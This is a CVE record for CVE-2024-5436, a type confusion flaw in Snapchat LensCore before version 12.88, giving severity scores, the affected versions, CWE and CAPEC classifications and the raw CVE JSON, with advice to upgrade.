CVE-2024-5436 (GCVE-0-2024-5436)
Vulnerability from cvelistv5 – Published: 2024-05-31 08:11 – Updated: 2024-08-01 21:11
VLAI
EPSS
VEX
Title
Type Confusion in Snapchat Lenscore
Summary
Type confusion in Snapchat LensCore could lead to denial of service or arbitrary code execution prior to version 12.88. We recommend upgrading to version 12.88 or above.
Severity
SSVC
Exploitation: none
Automatable: no
Technical Impact: total
CISA Coordinator · CISA-ADP (v2.0.3)
Decision recorded 2024-06-03 14:28 UTC
CWE
- CWE-704 - Incorrect Type Conversion or Cast
Assigner
References
1 reference
| URL | Tags |
|---|---|
| https://hackerone.com/snapchat |
Impacted products
2 products
| Vendor | Product | Version | |
|---|---|---|---|
| Snap | Snapchat Lenscore |
Affected:
0 , < 12.88
(semver)
|
|
| snap | snapchat_lenscore |
Affected:
0 , < 12.88
(custom)
cpe:2.3:a:snap:snapchat_lenscore:*:*:*:*:*:*:*:* |
Date Public
2024-05-29 10:00
{
"containers": {
"adp": [
{
"affected": [
{
"cpes": [
"cpe:2.3:a:snap:snapchat_lenscore:*:*:*:*:*:*:*:*"
],
"defaultStatus": "affected",
"product": "snapchat_lenscore",
"vendor": "snap",
"versions": [
{
"lessThan": "12.88",
"status": "affected",
"version": "0",
"versionType": "custom"
}
]
}
],
"metrics": [
{
"other": {
"content": {
"id": "CVE-2024-5436",
"options": [
{
"Exploitation": "none"
},
{
"Automatable": "no"
},
{
"Technical Impact": "total"
}
],
"role": "CISA Coordinator",
"timestamp": "2024-06-03T14:28:10.232476Z",
"version": "2.0.3"
},
"type": "ssvc"
}
}
],
"providerMetadata": {
"dateUpdated": "2024-06-04T18:02:21.146Z",
"orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"shortName": "CISA-ADP"
},
"title": "CISA ADP Vulnrichment"
},
{
"providerMetadata": {
"dateUpdated": "2024-08-01T21:11:12.695Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_transferred"
],
"url": "https://hackerone.com/snapchat"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"defaultStatus": "unaffected",
"product": "Snapchat Lenscore",
"vendor": "Snap",
"versions": [
{
"lessThan": "12.88",
"status": "affected",
"version": "0",
"versionType": "semver"
}
]
}
],
"datePublic": "2024-05-29T10:00:00.000Z",
"descriptions": [
{
"lang": "en",
"supportingMedia": [
{
"base64": false,
"type": "text/html",
"value": "\u003cspan style=\"background-color: rgb(255, 255, 255);\"\u003eType confusion in Snapchat LensCore could lead to denial of service or arbitrary code execution prior to version 12.88. We recommend upgrading to version 12.88 or above.\u003c/span\u003e\u003cbr\u003e"
}
],
"value": "Type confusion in Snapchat LensCore could lead to denial of service or arbitrary code execution prior to version 12.88. We recommend upgrading to version 12.88 or above."
}
],
"impacts": [
{
"capecId": "CAPEC-253",
"descriptions": [
{
"lang": "en",
"value": "CAPEC-253 Remote Code Inclusion"
}
]
}
],
"metrics": [
{
"cvssV4_0": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "HIGH",
"attackRequirements": "PRESENT",
"attackVector": "NETWORK",
"baseScore": 7.3,
"baseSeverity": "HIGH",
"privilegesRequired": "LOW",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "HIGH",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "HIGH",
"userInteraction": "PASSIVE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:P/VC:L/VI:H/VA:H/SC:L/SI:H/SA:H",
"version": "4.0",
"vulnAvailabilityImpact": "HIGH",
"vulnConfidentialityImpact": "LOW",
"vulnIntegrityImpact": "HIGH",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"format": "CVSS",
"scenarios": [
{
"lang": "en",
"value": "GENERAL"
}
]
}
],
"problemTypes": [
{
"descriptions": [
{
"cweId": "CWE-704",
"description": "CWE-704 Incorrect Type Conversion or Cast",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2024-05-31T08:11:34.578Z",
"orgId": "14ed7db2-1595-443d-9d34-6215bf890778",
"shortName": "Google"
},
"references": [
{
"url": "https://hackerone.com/snapchat"
}
],
"source": {
"discovery": "USER"
},
"title": "Type Confusion in Snapchat Lenscore",
"x_generator": {
"engine": "Vulnogram 0.2.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "14ed7db2-1595-443d-9d34-6215bf890778",
"assignerShortName": "Google",
"cveId": "CVE-2024-5436",
"datePublished": "2024-05-31T08:11:34.578Z",
"dateReserved": "2024-05-28T16:04:39.285Z",
"dateUpdated": "2024-08-01T21:11:12.695Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}